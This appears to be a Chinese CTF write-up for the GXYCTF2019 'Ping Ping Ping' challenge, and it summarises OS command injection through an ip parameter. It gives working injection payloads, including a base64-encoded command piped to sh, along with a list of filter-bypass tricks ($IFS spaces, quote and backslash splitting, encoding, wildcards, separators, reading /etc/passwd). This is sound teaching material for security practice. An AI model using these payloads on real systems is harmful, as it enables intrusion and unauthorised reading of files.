[GXYCTF2019]Ping Ping Ping {命令执行总结}

0x00 知识点

  1. 命令执行
  2. 绕过空格、敏感字符、连接符

产生原因:
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些 执行系统命令的函数。如果用户可以控制命令执行函数中的参数时, 就可以注入一些恶意的系统命令到正常命令,造成命令执行漏洞

0x01 解题

方法一 内联执行

payload

?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php

ps: 参数顺序要注意,adc换位acdflag会被检测出来:)

过滤了?/\{}()[]* 否则bash语法可以用“?”,正斜杠“/”,数字和字母来执行系统命令。

过滤空格

  1. %20(space)、%09(tab)、$IFS$9、 IFS、IFS
  2. 使用<或者<>来绕过空格 cat
  3. 花括号扩展{OS_COMMAND,ARGUMENT} {cat,/etc/passwd}
  4. $IFS 空格绕过 cat$IFSa.txt
  5. 变量控制 X=$'cat\x09./flag.php

关键字过滤

  1. 使用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(我尝试小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 ca${21}t a.txt
  2. 反斜杠 ca\t a.txt
  3. 变量替换 a=ca;b=t;c=a.txt; a a ab $c
  4. 引号 c'a't flag.php
  5. 编码绕过
    Base64 编码绕过:
    root@kali:~/# echo 'cat a.txt'| base64 Y2F0IGEudHh0Cg==
    root@kali:~/# echo 'Y2F0IGEudHh0Cg==' | base64 -d abc
    十六进制编码绕过:
    root@kali:~/# echo 'cat a.txt' | xxd -p 63617420612e7478740a
    root@kali:~/# echo '0x63617420612e7478740a'| xxd -r -p Abc
  6. 通配符 ?*
    […]:匹配范围中任何一个字符 cat fl[abc]g.php
    [a-z]:匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php
    {a,b}:对以逗号分割的文件列表进行拓展 cat fl{b,c}g.php

命令分隔与执行多条命令

1.&
& 表示将任务置于后台执行
2.&&
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
3.|
| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
5.;
多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块


处理无回显的命令执行
利用ceye平台

方法二 sh,bash下编码

payload:

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

解码后 cat falg.php




参考链接:

命令注入waf绕过
https://www.freebuf.com/articles/web/160175.html
无字母数字Webshell注入
https://www.freebuf.com/articles/web/186298.html
处理无回显的命令执行
利用ceye平台


你可能感兴趣的:(BUUCTF)